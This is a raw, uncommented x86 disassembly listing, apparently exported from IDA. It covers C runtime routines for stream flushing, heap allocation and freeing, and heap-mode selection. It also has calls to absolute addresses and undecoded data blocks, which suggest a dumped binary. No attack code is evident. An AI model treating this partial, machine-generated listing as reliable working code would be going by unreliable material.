		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBEE4
		nop
		call	near ptr 26F0000h
		cmp	eax, esi
		jz	short loc_41E150


loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp

; ---------------------------------------------------------------------------
		db 0A4h
		dd 0D566AA1Fh, 0BF4E6DBAh, 0B20D0DD6h, 0A164A048h, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 3819E8E8h, 33900247h, 89D48AD2h
		dd 4DBE4415h, 81C88B00h, 0FFE1h, 400D8900h, 0C1004DBEh
		dd 0CA0308E1h, 0BE3C0D89h, 0E8C1004Dh, 0BE38A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 0C4E8FC75h, 90000058h, 473799E8h, 0D3ECA302h, 82E8004Dh
		dd 0A3000057h, 4DBE84h,	552BE8h, 546DE800h, 0F9E80000h
		dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2471D88h, 53FEE8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 0F0E89056h, 50022722h, 0FE2F80E8h, 0A04589FFh
		dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	3CE85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; ___:00423721p ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE8C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE90
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DBE8C
		dd 0E8057501h, 5A9Ch, 42474FFh,	5ACCE8h, 0FF685900h, 0E8000000h
		dd 77A579A5h
		db 90h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD1A0
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD0A0h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 2660C52h
		test	eax, eax
		jnz	short loc_41E38B
		nop
		call	near ptr 2680E92h
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBE30, 0
		mov	dword_4DBE2C, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; ___:0041DAC2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD080, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC06C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD080
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: ___:0041E660p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		nop
		call	near ptr 269058Bh
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 26D0501h
		test	eax, eax
		jz	short loc_41E56D
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E56D
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: ___:0041E551j
					; ___:0041E55Aj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		nop
		call	near ptr 28A0000h
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: ___:0041E5ADj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: ___:0041E5A0j
					; ___:0041E5A4j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: ___:0041E59Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp-122Ch]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: ___:0041E5C7j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2670343h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: ___:0041E603j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: ___:0041E5F6j
					; ___:0041E5FAj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: ___:0041E5F0j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: ___:0041E5CFj
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: ___:0041E63Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: ___:0041E636j
		inc	ecx


loc_41E63D:				; CODE XREF: ___:0041E63Aj
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: ___:0041E631j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: ___:0041E586j
					; ___:0041E61Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E4FD
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: ___:0041E568j
					; ___:0041E650j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 491977E8h
		dd 0A3C08502h, 4DD3E4h,	93E83674h, 83FFFFFEh, 0E8A303F8h
		dd 75004DD3h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0D3E435FFh, 30E8004Dh
		dd 90024826h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD3E4h
		dd 191EE890h, 0C085023Ch, 4DD3DCA3h, 0C3017500h, 4244C8Bh
		dd 0D3D42583h, 8300004Dh, 4DD3D825h, 16A0000h, 4DD3D0A3h
		dd 0E00D8900h, 0C7004DD3h, 4DD3C805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD3D8
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD3DC
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD3D4
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD3CC
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DD3CC
		mov	eax, dword_4DD3D4
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD3D4
		mov	ecx, dword_4DD3CC
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD3D4
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD3D4
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD3D4


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DD3D4
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD3E4
		nop
		call	near ptr 27D0000h
		mov	eax, dword_4DD3D8
		mov	edx, dword_4DD3DC
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD3D4
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD3D8
		cmp	eax, dword_4DD3D4
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD3DC
		mov	dword_4DD3D0, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD3CC, edi
		mov	dword_4DD3D4, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD3D8
		mov	edx, dword_4DD3DC
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD3D0
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD3D0, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
		mov	edx, [ecx+84h]
